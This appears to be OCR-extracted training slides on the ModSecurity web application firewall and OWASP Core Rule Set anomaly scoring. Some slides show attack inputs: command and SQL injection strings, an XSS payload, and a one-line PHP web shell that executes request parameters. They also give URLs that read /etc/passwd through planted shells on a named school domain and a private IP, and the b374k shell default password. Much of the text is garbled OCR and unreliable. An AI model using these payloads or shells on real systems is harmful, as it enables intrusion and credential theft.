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ModSecurity

+ Open Source Web Application Firewall(WAF) Project
+ Library that handles HTTP filtering

* PR
+ V1.x Only for Apache Module
+ V2.X Support IS and NGINX

+ V3.X Standalone Engine, Called “lioModSecurity”.

+ NO longer dependent on the Apache web server

+ HAMEIZEL CentOS 6/7, Amazon Linux 1/2, Ubuntu, Mac OSX FH Source
RSN T -

+ HAjEREZS(Connector) & 7 & NGINX



ModSecurity Rule Set

+ OWASP ModSecurity Core Rule Set
+ https.//coreruleset.org/

+ Atomicorp's Free ModSecurity Rule

+ https://atomicorp.com/free-modsecurity-rules/
+ Comodo Free ModSecurity Rules

+ https://modsecurity.comodo.com/

+ WordPress ModSecurity Rule Set (WPRS)

+ https://github.com/Rev3rseSecurity/wordpress-modsecurity-
ruleset



Command/SQL Injection
XSS HIE
+ Command Injection
+ https://www.tplrc.edu.tw/index.php?a=/bin/sh
» HGHIIS ARG - BEHEHERS
+ https://www.tplrc.edu.tw/https/data_sys/login.php
x SQL Injection: ‘or 1=1 --

* XSS(Cross-Site Script): <script>alert(1)</script>
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Web Shell Backdoor
Al 51
+ https://github.com/backdoorhub/shell-backdoor-list

+ Simple Shell

+ https://github.com/backdoorhub/shell-backdoor-
list/raw/master/shell/php/simple-shell.php

N CIER NS

+ <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd =
($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

+ B374K Shell

+ https://github.com/backdoorhub/shell-backdoor-
list/raw/master/shell/php/b374Kk.php
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Slmple Shell
=l E'_J HE7|(/\\U

« FRUHTE
+ http://10.1.1.2/https/simple-shell.php?cmd=cat+/etc/passwd

+ http://www.tplrc.edu.tw/https/simple-
shell.php?cmd=cat+/etc/passwd

* BE?EEI/\\\ &
+ http://10.1.1.2/https/simple-shell.php?cmd=ls
+ http://www.tplrc.edu.tw/https/simple-shell.php?cmd=ls



B3 74K Shell

+ default password : b374k

* H]
*

*

AR A > ABRE T DIRE A 2 E
ttp://10.1.1.2/https/b374k.php

gun]

nttp://www.tplrc.edu.tw/https/b374Kk.php
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Reverse Shell
A ET

Normal shell

Initial TCP Connection
> Server

client commands .
-
I ]

Reverse shell

Initial TCP Connection Server

r

client 4 .
commands
4

F A5 https://medium.com/@rietesh/python-reverse-shell-hack-your-
neighbours-552561336c¢ca8
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« A HLR Internet > AR (& P TAE = (X1:Reverse Shell) 448 E(E

[rootitplre ~]# ronte

Eernel [P routing table

Deztination rateyay renmazk Flagz Hetric Eef Mze [face
1. 1.1. ﬂ # 255.255.255.0 1 i 0 0 ethl)

]i ”1 local ¥ 200 255,00 1 1oz 0 0 eth
[ root@tp l- 1 e ~ ]# P 1 ng - H.B.8.8
onnect: HHT II ig nnreac hi}l
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OWASP Core Rule Set(CRS)

HTTP request
- @3 -3 -3 -
Anomaly score
Inbound anomaly
score threshold: 5
Rule severity Rule 1 Rule 2 Rule 3 Blocklr?g
Result "CRITICAL NOTICE NOTICE evaluation
*NO MATCH NO MATCH MATCH (Add 2) PASS
B -3 - H — HE X
Inbound anomaly
score threshold: 5
Rule 1 Rule 2 Rule 3 Blocking
CRITICAL NOTICE NOTICE evaluation

MATCH (Add5) MATCH (Add 2) NO MATCH DENY
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OWASP Core Rule Set(CRS)

+ Severity Level

Severity Level Default Anomaly Score
CRITICAL 5
ERROR 4
WARNING 3
2

NOTICE
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